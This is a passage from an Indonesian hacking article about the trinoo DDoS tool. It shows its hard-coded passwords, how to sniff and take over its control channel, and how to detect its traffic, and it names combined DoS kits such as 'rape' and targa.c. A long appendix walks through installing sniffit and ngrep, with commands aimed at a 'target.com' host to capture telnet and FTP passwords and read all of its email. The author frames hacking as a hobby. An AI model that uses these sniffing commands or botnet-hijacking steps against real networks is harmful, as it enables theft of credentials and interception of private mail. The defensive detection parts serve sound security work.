dan menyebabkan adanya potensi seseorang atau hacker lainnya
untuk memanfaatkan kelemahan password tersebut untuk mengambil
alih kendali beberapa atau semua jaringan trinno yang telah kita buat.

Jika source code-nya telah dimodifikasi (biasanya dilakukan oleh
attacker yang pandai dalam penguasaan program C),
temen-temen harus meng-crack password-nya terlebih dahulu.
Jika temen-temen menginginkannya, temen-temen bisa menggunakan
sebuah editor hexadecimal / ASCII (misalnya ; "xxd", yang
merupakan bagian dari VIM editor suite) dan mengubahnya kedalam
binary image, yang selanjutnya, sebagai contoh, jalankan
master untuk mendapatkan daftar dari daemon-daemon tersebut.

jika anda mengalami kesulitan akan hal di atas, anda bisa
meng-observasi string dalam program biner-nya, seperti yang saya
contohkan di bawah ini (apabila menggunakan default password) :

*******************************************************************
# strings - ns
. . .
socket
bind
recvfrom
%s %s %s
aIf3YWfOhw.V. <=== password "144adsl" yang dienkripsi menggunakan crypt ()
PONG
*HELLO*
. . .

# strings - master
. . .
---v
v1.07d2+f3+c
trinoo %s
l44adsl <=== versi clear text dari password daemon.
sock
0nm1VNMXqRMyM <=== password "g0rave" yang dienkripsi menggunakan crypt ()
10:09:24
Sep 26 1999
trinoo %s [%s:%s]
bind
read
*HELLO*
ZsoTN.cq4X31 <=== CRYPTKEY
bored
NEW Bcast - %s
PONG
PONG %d Received from %s
Warning: Connection from %s
beUBZbLtK7kkY <=== password "betaalmostdone" yang dienkripsi menggunakan crypt ()
trinoo %s..[rpm8d/cb4Sx/]
. . .
DoS: usage: dos
DoS: Packeting %s.
aaa %s %s
mdie
ErDVt6azHrePE <=== Password untuk perintah "mdie" yang dienkripsi menggunakan crypt ().
mdie: Disabling Bcasts.
d1e %s
mdie: password?
. . .
*******************************************************************

Selanjutnya, dan sangat vulnerable, adalah password daemon,
yang berjalan dalam jaringan dengan menggunakan format clear text.
Kita asumsikan bahwa anda mengetahui adanya komunikasi yang
dilakukan oleh master kepada client dengan menggunakan port UDP,
selanjutnya anda bisa meng-capture (menangkap) password-nya
menggunakan program "sniffit", atau "ngrep", atau "tcpdump",
atau program lainnya yang mampu memonitoring jaringan atau
mampu menangkap paket data UDP.

Sebagai contoh, inilah perintah "png" yang dikirim terhadap
trinoo daemon yang ditangkap oleh program "sniffit" :

*******************************************************************
UDP Packet ID (from_IP.port-to_IP.port): 10.0.0.1.1024-192.168.0.1.27444
45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 .
C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20
6C l 34 4 34 4 61 a 64 d 73 s 6C l
*******************************************************************

Seperti yang telah dijelaskan di awal, bahwa perintah "mdie"
dalam trinoo master password-nya diproteksi dalam program
master itu sendiri. untuk itu terdapat beberapa cara untuk
melakukan penyerangan terhadapnya.

Jika anda mampu mendeterminisasikan string cript () yang
dienkripsi menggunakan perintah "strings"-nya Unix, anda
kemudian bisa menggunakan sebuah utilitas password cracking,
seperti program "crack", yang kemudian pecahkanlah kode tersebut.
Akan tetapi hal ini akan membutuhkan waktu yang lama jika password
yang dibuatnya sangat baik (tentu anda mengetahui konsep pembuatan
password yang baik ini), satu hal yang perlu anda ketahui bahwa
password yang dienkripsi tersebut sangat mungkin untuk bisa kita
pecahkan (Seperti yang pernah saya lakukan / teliti ternyata
password "killme" untuk perintah "mdie" bisa kita pecahkan kodenya
(crack) kurang dari 30 detik menggunakan Pentium II).

Anda bisa mencoba untuk menangkap password ketika terjadi
komunikasi antara attacker kepada master yang berjalan di
dalam kabel jaringan, tetapi kiranya perintah ini tidak
akan sering digunakan oleh penyerang. Jika tidak digunakan
sama sekali, maka anda harus memonitor terus jaringan yang
dipakai untuk komunikasi tersebut dimana ketika mereka
mencoba untuk mengaktifkan daemon yang diperlukan untuk
penyerangan disanalah anda siap-siap untuk meng-capture
kode password tersebut.

Anda mungkin punya keberuntungan lebih daripada penulis
untuk sniffing password daemon tersebut, ketika mereka
mulai melakukan banyak perintah terhadap master atau daemon.
Hal ini bisa dilakukan terhadap jaringan master-master atau
daemon-daemon yang lain (biasanya mereka menginstalasi trinoo
master atau daemon pada network-network yang berbeda, tergantung
pada jaringan-jaringan mana yang telah mereka kuasai/compromise).
Trinoo master biasanya banyak ditemukan dan di-set pada primary
name server daripada daemon, disebabkan mungkin karena besarnya
traffic pada port-port UDP dan yang jelasnya saya kurang mengetahui
banyak tentang hal itu….sorry….Huhuuuu…..!!!

Tapi begini…..sekali anda mengetahui lokasi daemon pada sebuah
jaringan, anda juga bisa mengetahui dan menemukan daftar alamat-
alamat IP dari master-master tersebut (gunakan "strings" untuk
melihatnya). Kemudian secepatnya anda kontak/hubungi site tersebut
dan yakinkan mereka untuk memeriksa sistemnya dan beritahu bahwa
sistemnya telah di-intrusi, atau beritahu mereka untuk memeriksa
ada tidaknya instalasi "root kit" yang membuat trinoo master
atau daemon sulit untuk di-deteksi, dan juga yang berusaha untuk
mengkoordinir sebuah respon.

Setelah anda menemukan sebuah master, daftar dari daemon-daemon
(yang mungkin didalamnya termasuk host-host dari berbagai site
yang lain) bisa anda peroleh hanya dengan mengidentifikasi file
yang berisi daftar tersebut, jika tidak di enkripsi.Tetapi jika….
hauahhhhhhh bagaimanapun juga, seandainya…..heheh file tersebut
dienkripsi, anda harus men-decrypt file yang dienkripsi menggunakan
blowfish tersebut dengan menggunakan kunci yang sama yang di-compile
kedalam program, atau dengan mengambil alih kontrol master dan kemudian
gunakan perintah "bcast".

Jika anda telah dapat mengidentifikasi sesi command yang aktif
ke sebuah master, yang mana merupakan sebuah sesi TCP gaya
standard "telnet", anda bisa meng-hijack sesi tersebut
menggunakan "hunt" dan anda bisa mulai meng-eksekusi
perintah-perintah tersebut. Jika anda tidak mengetahui
password dari perintah "mdie", maka anda tidak bisa
men-disable semua daemon secara langsung, tetapi anda
masih bisa menggunakan perintah "bcast" untuk mendapatkan
semua daftar dari daemon tersebut (anda mungkin ingin
melakukan hal ini dengan menggunakan perintah "script"
yang akan meng-generate transkrip dari sesi tersebut,
transkrip tersebut bisa jadi merupakan suatu daftar
yang sangat besar).

Sekali anda mengetahui alamat-alamat dari semua daemon d
an password-password-nya (akan terlihat dalam outputnya
apabila kita menggunakan "string"), anda kemudian bisa
mengirimkan string perintah yang sesuai ke dalam paket-
paket UDP ke semua trinoo daemon yang kita curigai.
Penciptaan dan transmisi paket-paket UDP dapat kita
tangkap dengan menggunakan tool-tool seperti LibNet,
Spak, the Perl Net::RawIP library, dan lain-lain.

Instalasi tipikal dari daemon meliputi sebuah crontab
entry yang berjalan pada tiap menit, anda harus secara
konstan memonitoring semua network untuk menjaga agar
daemon tidak re-start (biasanya dengan memakai sedikit
perintah "png" ke setiap daemon). **** hal ini mungkin
ada kaitannya dengan bug-bug dalam pemrogramannya, yang
menyebabkan adakalanya daemon crash, atau mungkin untuk
menguji/mengalahkan system administrator yang biasanya
hanya secara sederhana menyimpulkan dan membunuh proses
tersebut tanpa berpikir untuk mencheck crontab entry
yang mere-start daemon tersebut ****.

Daemon juga bisa anda temukan dalam jaringan anda dengan
cara men-sniffing porsi paket-paket data UDP untuk string
"*HELLO*" dan "PONG", atau beberapa string-string perintahnya
(sampai source-nya dimodifikasi untuk merubah string-string
ini). Untuk hal tersebut, saya beri contoh dengan menggunakan
program "ngrep" di bawah ini :

*******************************************************************
# ngrep -i -x "*hello*|pong" udp
interface: eth0 (192.168.0.200/255.255.255.0)
filter: ip and ( udp )
match: *hello*|pong
. . .
#
U 192.168.0.1:32887 -> 10.0.0.1:31335
2a 48 45 4c 4c 4f 2a *HELLO*
###
U 192.168.0.1:32888 -> 10.0.0.1:31335
50 4f 4e 47 PONG
U 192.168.0.3:32815 -> 10.0.0.1:31335
50 4f 4e 47 PONG
U 192.168.0.5:32798 -> 10.0.0.1:31335
50 4f 4e 47 PONG
. . .
*******************************************************************

Selain kelemahan yang terdapat dalam program trinoo itu sendiri,
terdapat juga kelemahan dalam cara men-setup jaringan trinoo.

Seperti yang telah saya tulis di atas, beberapa system akan
memperlihatkan crontab-crontab entry-nya yang digunakan untuk
men-start daemon sekali setiap menitnya. Hal ini jelas-jelas
akan meninggalkan fingerprint dalam crontab file-nya.

Script-script yang telah diobservasi untuk mengotomatisasikan
instalasi dari jaringan trinoo yang menggunakan perintah "rcp"
Barkeley (penggunaan dari rcp juga telah di observasi dalam
kemampuannya meng-upload file untuk merubah kembali file
yang telah diinstalasi menjadi versi yang terbaru dalam
hal ini program daemonnya "Tribe Flood Network").
Memonitoring koneksi "rcp" (514/tcp) dari multiple system
dalam jaringan anda, dalam rangkaian yang cepat, ke sebuah
single IP address di luar jaringan anda akan menjadi suatu
pemicu yang baik. (hal yang perlu dicatat bahwa penggunaan
"rcp" dalam sebuah script memerlukan sebuah anonymous trust
relationship, biasanya dalam bentuk "+ +" didalam sebuah
file user ~/.rhost).

GENERASI LAINNYA DARI EXPLOIT DoS
*******************************************************************

Salah satu serangan yang paling gampang dilakukan adalah denial of
serice attack (DoS). Beberapa bug yang terdapat dalam TCP/IP stack,
misalnya, mengijinkan adanya paket-paket yang di-fragmentasikan,
paket-paket yang besar, IP option, koneksi half-open TCP, atau
mem-flooding paket-paket (bandwith yang tertinggi yang terbaik),
dan lain-lain, menyebabkan system performance menjadi turun,
atau menyebabkan system menjadi crash.

Yang kemudian bug-bug ditemukan, lalu sebuah program eksploitasi
dibuat untuk menunjukkan adanya bug tersebut. Setiap program-program
eksploitasi ini biasanya unik, exploitasi sebuah bug secara spesifik
yang mungkin hanya mempengaruhi implementasi sebuah single TCP/IP
(Microsoft yang sekarang ini menguasai pangsa pasar dunia untuk
personal komputer, yang mana pengguna rumahan (home user)
hampir semuanya tidak peduli terhadap adanya, seperti contohnya
bug-bug ini, biarkanlah dia sendiri dimana mendapatkan dan bagaimana
menerapkan patch-patchnya untuk memperbaiki bug-bug ini, resikonya
sangat tinggi sekali yang mana serangan multi-exploit akan membuat
crash system target…...!!)

Generasi selanjutnya dari eksploit DoS ini adalah mengkombinasikan
berbagai eksploit denial of service kedalam satu tool, dengan
menggunakan script shell Unix. Salah satunya tool yang diberi
nama "rape", (menurut kodenya / yang tercatat dalam kodenya,
tool tersebut ditulis pada tahun 1998 oleh "mars", dengan
modifikasi oleh "TheVirus" dan kemudian di improvisasi lebih
lanjut oleh "ttol") tool tersebut menggabungkan berbagai exploit
kedalam sebuah single shell script, tool-tool yang digabungkan
tersebut yaitu :

*******************************************************************
echo "Editted for use with www.ttol.base.org"
echo "rapeing $IP. using weapons:"
echo "latierra "
echo -n "teardrop v2 "
echo -n "newtear "
echo -n "boink "
echo -n "bonk "
echo -n "frag "
echo -n "fucked "
echo -n "troll icmp "
echo -n "troll udp "
echo -n "nestea2 "
echo -n "fusion2 "
echo -n "peace keeper "
echo -n "arnudp "
echo -n "nos "
echo -n "nuclear "
echo -n "ssping "
echo -n "pingodeth "
echo -n "smurf "
echo -n "smurf4 "
echo -n "land "
echo -n "jolt "
echo -n "pepsi "
*******************************************************************

Tool seperti ini mempunyai keuntungan terhadap attacker untuk menyerang
single IP address dengan serangan yang beraneka ragam dengan tingkat
kemungkinan sukses serangannya lebih tinggi. Seperti juga halnya
dengan tool seperti "targa.c" yang dibuat oleh Mixter, dimana tool
"targa" ini mengkombinasikan semua exploit di atas (seperti, jolt,
land, nestea, newtear, syndrop, teardrop, winnuke, dll) dengan single C
source program (dimana dengan hanya menggunakan satu source program
yaitu program C, akan membuat program pre-compile tersebut mudah
untuk di simpan, di transfer, dan bisa digunakan dengan lebih cepat) :

*******************************************************************
/* targa.c - copyright by Mixter
version 1.0 - released 6/24/98 - interface to 8
multi-platform remote denial of service exploits
*/
. . .

/* bonk by route|daemon9 & klepto
* jolt by Jeff W. Roberson (modified by Mixter for overdrop effect)
* land by m3lt
* nestea by humble & ttol
* newtear by route|daemon9
* syndrop by PineKoan
* teardrop by route|daemon9
* winnuke by _eci */
*******************************************************************

Walaupun tool "targa" ini mengkombinasikan tool-tool denial of
service tetapi hanya bisa digunakan untuk menyerang satu IP address
(single IP address) saja setiap waktunya.

Untuk meningkatkan efektifitas serangan, biasanya grup penyerang
mengkoordinasikan serangannya dengan menggunakan channel IRC
ataupun instant messenger ataupun memakai telepon untuk komunikasinya,
setiap orang menyerang sebuah sistem yang berbeda. Koordinasi seperti
ini sama seperti yang dilakukan dalam probing vurnerabilitas, dan
seperti yang dilakukan dalam mengkontrol dan meng-compromise dengan
menggunakan bermacam-macam backdoor ataupun "root kit".

Artikel yang mungkin akan saya bahas selanjutnya yaitu (sekali lagi
"mungkin" karena keterbatasannya waktu penulis dalam membuat artikel-
artikel seperti ini, atau mungkin saja penulis membuat/membahas artikel
yang lainnya tetapi masih dalam koridor menyusupkan tool DDOS atau
teknik pendukung lainnya. +++ Penulis menulis artikel seperti ini hanya
merupakan hobby saja dan penulis menganggap bahwa hacking merupakan
seni yang memiliki kepuasan tersendiri bagi penulis dan kita sama-sama
sharing pengalaman, …………ok….!!?? mungkin anda juga tidak begitu
seharusnya...pasti dong…he +++) TFN (a.k.a Tribe Flood Network)
yang dibuat oleh Mixter. Sementara trinoo hanya mengimplementasikan
serangnya melalui flooding UDP, tetapi yang satu ini (TFN) mendukung
untuk penyerangannya melalui UDP flood, ICMP flood, SYN flood dan
smurf style attack, dan perintah-perintahnya dikontrol via paket-paket
ICMP_ECHOREPLY (ICMP tipe 0) dan juga di enkripsi menggunakan blowfish,
hampir sama dengan trinoo ataupun stacheldraht.Tetapi karena TFN
komunikasinya menggunakan protocol ICMP, hal ini menyebabkan firewall
sulit untuk mendeteksi atau mem-blok-nya.


CATATAN TAMBAHAN :
************************

A. Instalasi Sniffit :
*******************************************************************

Apabila pada Redhat linux anda belum terinstalasi Sniffer (kita
akan menggunakan tool sniffit) atau anda ingin menginstalasi
sniffit pada Redhat linux anda, ada beberapa langkah yang
harus dilakukan dalam hal instalasinya :

1. Terlebih dahulu anda harus menginstalasi tool yang dapat
meng-capture transmisi paket-paket,kita bisa memakai LibNet,
Spak, atau The Perl Net::RawIP Library. Dalam hal ini saya
menginstalasi libpcap-0.6.2-17.8.0.2.i386.rpm, anda bisa
mendownloadnya di :

http://linux.maruhn.com/sec/libpcap.html

silahkan anda memilih jenis mesin, jenis OS dan versi berapa
yang ingin anda download. setelah anda download kemudian
berikan perintah :

rpm -ivh filename
contoh : rpm -ivh libpcap-0.6.2-17.8.0.2.i386.rpm

Atau bagi anda yang memilih format tar.gz anda dapat mendownload-
nya di :

http://www.tcpdump.org/release.

Libpcap versi terbaru (semenjak tulisan ini di buat) adalah Libpcap-0.8.3.tar.gz, setelah
tool ini berhasil anda download, kalo saya biasanya disimpan di direktori /usr/local/src,
kemudian anda harus mengetikkan perintah di bawah ini :

$ tar -zxvf libpcap-0.8.3.tar.gz
$ cd libcap_0_8rel_3
$ ./configure
$ make
$ su
password:********
# make install-incl
# make install-man
# exit

2. Lalu anda harus menginstalasi tool "ncurses". silahkan anda
cari dengan keyword "ncurses" dan sesuaikan dengan jenis mesin
dan OS yang anda gunakan serta versinya. Atau yang umumnya
memakai Redhat 9 bisa didownload di :

http://download.fedoralegacy.org/redhat/9/os/i386/?C=M;O=D

Setelah file ncurses anda download silahkan anda berikan
perintah seperti di atas :

rpm -ivh filename
contoh : rpm -ivh ncurses4-5.0-11.i386.rpm

3. Barulah kemudian anda download tool sniffit. Tool ini bisa anda
dapatkan di :

http://sniffit.rug.ac.be/sniffit/sniffit.html

Versi terbaru dari sniffit adalah versi 0.3.7 beta. Apabila anda
mendownload dari situs ini anda akan mendapatkan sniffit dalam
format tar.gz, yaitu sniffit.0.3.7.beta.tar.gz.Setelah anda
mendownloadnya kemudian ikuti perintah di bawah ini :

a. tar -zxvf sniffit.0.3.7.beta.tar.gz
b. cd sniffit.0.3.7.beta
c. ./configure
d. make
e. make clean <= Other stuff.

atau bagi anda yang menggunakan OS Radhat dan ingin langsung
menggunakannya secara simpel anda bisa mencari file rpm-nya dan
bisa anda download di :

http://rpm.pbone.net/index.php3/stat/4/idpl/2048/com/
sniffit-0.3.7beta-1.i386.rpm

Setelah anda download silahkan gunakan perintah di bawah ini :

rpm -ivh filename
contoh : rpm -ivh sniffit-0.3.7.beta-1.i386.rpm

Setelah sniffit terinstalasi anda tinggal langsung menggunakannya,
tetapi anda harus dalam mode super user (root ), coba anda lihat
di bawah ini :

# sniffit
usage: sniffit [-xdabvnN] [-P proto] [-A char] [-p port] [(-r|-R) recordfile]
[-l sniflen] [-L logparam] [-F snifdevice] [-M plugin]
[-D tty] (-t<Target IP> | -s<Source IP>) | (-i|-I) | -c<config file>]

Plugins Available:
0 -- Dummy Plugin
1 -- DNS Plugin

Contoh-contoh penggunaan Sniffit :
**********************************

Coba anda bayangkan yang berikut ini : Terdapat 2 host dalam sebuah
subnet, yang satu menjalankan sniffer (sniffit.com) +++ bayangkan
anda yang menjalankan sniffer +++ dan yang satu lagi adalah
targetnya dengan IP 69.aa.171.138 (target.com) :

1. Jika anda ingin mengetes apakah sniffer yang anda install tadi
sudah dapat bekerja dengan baik ?, coba anda ikuti perintah
dibawah ini :

# sniffit -d -p 7 -t 69.aa.171.138

-d mode dump, untuk memperlihatkan paket-paket ke layar
di dalam bytes (tidak seperti yang ditunjukkan oleh tcp dump).
-p Port yang digunakan. dalam testing ini menggunakan port 7
-t Target.

Setelah anda memberikan perintah tersebut, kemudian tekan enter,
maka yang akan terjadi adalah seperti yang akan anda lihat
di bawah ini :

# sniffit -d -p 7 -t 69.aa.171.138
Supported Network device found. (eth0)
Sniffit.0.3.7 Beta is up and running.... (69.aa.171.138)

Itu berarti program sniffer (sniffit) tersebut telah berjalan dan
siap untuk menangkap / men-capture paket-paket (user id dan password)
seandainya ada yang login ke target.com lewat port 7. Program ini
akan terus memonitoring target.com lewat port 7 selama program
tersebut tidak kita hentikan (^C). Untuk testing, bagaimanakah
contoh dari paket-paket yang dikirim ke target.com tersebut dapat
kita capture/tangkap ? coba anda pakai komputer lain atau komputer
yang itu juga dengan menggunakan konsol yang berbeda dan konek ke
target.com (69.56.171.138) lewat program telnet dengan menggunakan
port 7 (dengan syarat bahwa sniffer anda sedang aktif / sedang
berjalan / anda jangan mematikan proses yang berjalan dengan
perintah yang digunakan di atas). Misal : anda menjalankan sniffer
di konsol 1 dengan perintah :

# sniffit -d -p 7 -t 69.56.171.138

kemudian buka konsol 2 dan konek ke target.com lewat telnet port 7,
perhatikan contoh di bawah :

$ telnet 69.aa.171.138 7
Trying 69.aa.171.138...
telnet : connect to adress 69.aa.171.138 : Connection refused

Coba anda buka kembali konsol 1 yang menjalankan sniffer, coba
lihat di bawah ini :

# sniffit -d -p 7 -t 69.aa.171.138
Supported Network device found. (eth0)
Sniffit.0.3.7 Beta is up and running.... (69.aa.171.138)

Packet ID (from_IP.port-to_IP.port): 192.168.0.11.2576-69.aa.171.138.7
45 10 00 3C 6F 87 40 00 40 06 19 AF C0 A8 00 0B 45 38 AB 8A 0A 10 00 07 2E 5F
E6 20 00 00 00 00 A0 02 16 D0 D7 76 00 00 02 04 05 B4 04 02 08 0A 00 0C 89 A7
00 00 00 00 01 03 03 00

Ternyata sniffer tersebut dapat menangkap paket-paket yang dikirimkan
ke target.com (dalam hal ini paket yang dikirimkan dari konsol 2 ke
target.com). Good job...man !!!

2. Jika anda ingin mengetahui password-password yang masuk dari
target.com :

# sniffit -p 23 -t 69.aa.171.138

3. Root dari target.com mengatakan bahwa dia menerima koneksi
ftp yang perlu dicurigai dan anda ingin mengetahuinya,
perintah yang diberikan adalah :

# sniffit -p 21 -l 0 -t 69.aa.171.138

4. Jika anda ingin membaca semua email yang masuk atau keluar
dari target.com :

# sniffit -p 25 -l 0 -b -t 69.aa.171.138 &

atau

# sniffit -p 25 -l 0 -b -s 69.aa.171.138 &

5. Jika anda ingin mengetahui kesalahan dan anda ingin melihat
kontrol message dan kode-kode error-nya :

# sniffit -P icmp -b -s 69.aa.171.138

6. Go wild on scrolling the screen........!!!!

# sniffit -P ip -P icmp -P tcp -p 0 -b -a -d -x -s 69.aa.171.138

atau

# sniffit -P ipicmptcp -p 0 -b -a -d -x -s 69.aa.171.138

7. Jika ingin melihat log password yang dengan jalan ini anda bisa
membacanya dengan "lebih dari 69*" :

# sniffit -p 23 -A . -t 66.66.66.7

atau

# sniffit -p 23 -A ^ -t dummy.net

8. Jika anda ingin mengetahui lebih banyak kombinasi dari perintah-
perintahnya silahkan anda :

# man sniffit

Ok...? Udah mulai boring neh......!!!!??
Yang perlu dicatat :
1. Anda perlu kesabaran tinggi untuk men-sniffing target.
2. Biarkan proses/program sniffit ini berjalan terus, sampai
ada orang yang login ke situs target.
3. Dengan program ini anda bisa sniffing lewat ssh, telnet,ftp,
mail, dll. (biasanya kalo kita memonitoring/sniffing jaringan
telnet, passwordnya dalam bentuk clear text).


B. Instalasi Ngrep :
*******************************************************************

Ngrep adalah sebuah tool yang digunakan untuk memonitoring
lalu lintas jaringan (sama halnya dengan tool sniffit).
Ngrep ini di dasarkan pada libpcap library, yang mempunyai fungsi
untuk meng-capture/menangkap paket-paket, oleh karena itu sebelum anda
menginstalasi ngrep, anda terlebih dahulu harus menginstalasi Libpcap pada
Linux/Unix anda, bagi yang mengikuti tutorial di atas dengan sebuah praktek
atau bagi anda yang sebelumnya telah menginstal Libpcap anda tidak perlu
lagi menginstal libcap. Bagi anda yang belum menginstall Libpcap, ikutilah
seperti petunjuk di atas. Source ngrep dapat anda download di :

http://www.packetfactory.net/Projects/ngrep

Setelah anda dapat mendownloadnya, ikuti perintah-perintah dibawah ini :

$ tar -zxvf ngrep-1.42.tar.gz
$ cd ngrep
$ ./configure
$ make
$ su
password: **********
# make install
# exit

Sampai disini anda telah berhasil menginstall ngrep pada linux/unix anda.
Tetapi apabila anda ingin memilih format rpm dalam mengintall ngrep pada
linux redhat anda, package-nya dapat anda download di :

http://dag.wieers.com/packages/ngrep/

Silahkan anda pilih Jenis OS yang anda gunakan dan jenis mesin komputer
yang anda pakai. Setelah ngrep anda download selanjutnya berikan perintah
seperti di atas :

# rpm -ivh filename
Contoh : rpm -ivh ngrep-1.42-1.rh62.1386.rpm

Selamat anda telah berhasil menginstall ngrep pada linux anda.


Beberapa Contoh Penggunaan Ngrep :
**********************************

1. Seandainya anda telah mengetahui adanya komunikasi yang
dilakukan oleh master ke client trinoo dengan menggunakan
port UDP, selanjutnya anda dapat meng-capture password-nya
dengan menggunakan perintah :

# ngrep -x ".*" tcp port 27665 or udp port 31335 or udp port 27444
interface: eth0 (192.168.0.200/255.255.255.0)
filter: ip and ( tcp port 27665 or udp port 31335 or udp port 27444 )
match: .*
#
U 192.168.0.1:32892 -> 10.0.0.1:31335
2a 48 45 4c 4c 4f 2a *HELLO*
#
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
ff f4 ff fd 06 .....
######
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
62 65 74 61 61 6c 6d 6f 73 74 64 6f 6e 65 0d 0a betaalmostdone..
#
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 20 76 31 2e 30 37 64 32 2b 66 trinoo v1.07d2+f
33 2b 63 2e 2e 5b 72 70 6d 38 64 2f 63 62 34 53 3+c..[rpm8d/cb4S
78 2f 5d 0a 0a 0a x/]...
##
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 3e 20 trinoo>
###
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
62 63 61 73 74 0d 0a bcast..
#
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
4c 69 73 74 69 6e 67 20 42 63 61 73 74 73 2e 0a Listing Bcasts..
0a .
###
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
31 39 32 2e 31 36 38 2e 30 2e 31 2e 20 20 20 0a 192.168.0.1.
0a 45 6e 64 2e 20 31 20 42 63 61 73 74 73 20 74 .End. 1 Bcasts t
6f 74 61 6c 2e 0a 74 72 69 6e 6f 6f 3e 20 otal..trinoo>
##
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
6d 74 69 6d 65 72 20 31 30 30 30 0d 0a mtimer 1000..
##
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
6d 74 69 6d 65 72 3a 20 53 65 74 74 69 6e 67 20 mtimer: Setting
74 69 6d 65 72 20 6f 6e 20 62 63 61 73 74 20 74 timer on bcast t
6f 20 31 30 30 30 2e 0a o 1000..
#
U 10.0.0.1:1025 -> 192.168.0.1:27444
62 62 62 20 6c 34 34 61 64 73 6c 20 31 30 30 30 bbb l44adsl 1000
##
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
6d 74 69 6d 65 72 3a 20 53 65 74 74 69 6e 67 20 mtimer: Setting
74 69 6d 65 72 20 6f 6e 20 62 63 61 73 74 20 74 timer on bcast t
6f 20 31 30 30 30 2e 0a o 1000..
###
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 3e 20 trinoo>
###
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
6d 73 69 7a 65 20 33 32 30 30 30 0d 0a msize 32000..
#
U 10.0.0.1:1025 -> 192.168.0.1:27444
72 73 7a 20 33 32 30 30 30 rsz 32000
#
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 3e 20 trinoo>
###
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
64 6f 73 20 32 31 36 2e 31 36 30 2e 58 58 2e 59 dos 216.160.XX.Y
59 0d 0a Y..
#
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
44 6f 53 3a 20 50 61 63 6b 65 74 69 6e 67 20 32 DoS: Packeting 2
31 36 2e 31 36 30 2e 58 58 2e 59 59 2e 0a 16.160.XX.YY..
#
U 10.0.0.1:1025 -> 192.168.0.1:27444
61 61 61 20 6c 34 34 61 64 73 6c 20 32 31 36 2e aaa l44adsl 216.
31 36 30 2e 58 58 2e 59 59 160.XX.YY
#
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 3e 20 trinoo>
##
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
71 75 69 74 0d 0a quit..
#
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
62 79 65 20 62 79 65 2e 0a bye bye..
###
T 192.168.100.1:1075 -> 10.0.0.1:27665 [AP]
62 65 74 61 61 6c 6d 6f 73 74 64 6f 6e 65 0d 0a betaalmostdone..
##
T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP]
74 72 69 6e 6f 6f 20 76 31 2e 30 37 64 32 2b 66 trinoo v1.07d2+f
33 2b 63 2e 2e 5b 72 70 6d 38 64 2f 63 62 34 53 3+c..[rpm8d/cb4S
78 2f 5d 0a 0a 0a

  
x/]...
###
T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP]
74 72 69 6e 6f 6f 3e 20 trinoo>
###
T 192.168.100.1:1075 -> 10.0.0.1:27665 [AP]
6d 70 69 6e 67 0d 0a mping..
##
T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP]
6d 70 69 6e 67 3a 20 53 65 6e 64 69 6e 67 20 61 mping: Sending a
20 50 49 4e 47 20 74 6f 20 65 76 65 72 79 20 42 PING to every B
63 61 73 74 73 2e 0a casts..
#
U 10.0.0.1:1025 -> 192.168.0.1:27444
70 6e 67 20 6c 34 34 61 64 73 6c png l44adsl
##
U 192.168.0.1:32894 -> 10.0.0.1:31335
50 4f 4e 47 PONG
##
T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP]
74 72 69 6e 6f 6f 3e 20 50 4f 4e 47 20 31 20 52 trinoo> PONG 1 R
65 63 65 69 76 65 64 20 66 72 6f 6d 20 31 39 32 eceived from 192
2e 31 36 38 2e 30 2e 31 0a .168.0.1
##
T 192.168.100.1:1075 -> 10.0.0.1:27665 [AP]
71 75 69 74 0d 0a quit..
#
T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP]
62 79 65 20 62 79 65 2e 0a bye bye..

2. Contoh di bawah ini akan menangkap paket-paket yang berisi
pattern "ssword" dan menampilkannya dalam format alternatif
(yang menurut saya lebih gampang kebaca):

# ngrep -x ssword
interface: eth0 (192.168.1.0/255.255.255.0)
match: ssword
################################
T 192.168.1.20:23 -> 192.168.1.10:1056 [AP]
50 61 73 73 77 6f 72 64 3a 20 Password:
#########################exit
59 received, 0 dropped
[....................] #

3. Untuk melakukan pinging cuke :

# ngrep -e -x host 192.168.1.10
interface: eth0 (192.168.1.0/255.255.255.0)
filter: ip and ( host 192.168.1.10 )

#
I 192.168.1.10 -> 192.168.2.10 8:0
eb 07 00 00 31 86 a7 39 5e cd 0e 00 08 09 0a 0b ....1..9^.............
0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b ......................
1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b .... !"#$%&'()*+
2c 2d 2e 2f 30 31 32 33 34 35 36 37 ,-./01234567

#
I 192.168.1.1 -> 192.168.1.10 5:1
c0 a8 01 0b 45 00 00 54 25 f2 00 00 40 01 d0 52 ....E..T%...@..R
c0 a8 01 0a c0 a8 02 0a 08 00 dc 67 eb 07 00 00 ...........g..........
31 86 a7 39 5e cd 0e 00 08 09 0a 0b 0c 0d 0e 0f 1 ..9^..................
10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f ......................
20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f !"#$%&'()*+,-./
30 31 32 33 34 35 36 37 b4 04 01 00 06 00 00 00 01234567..........
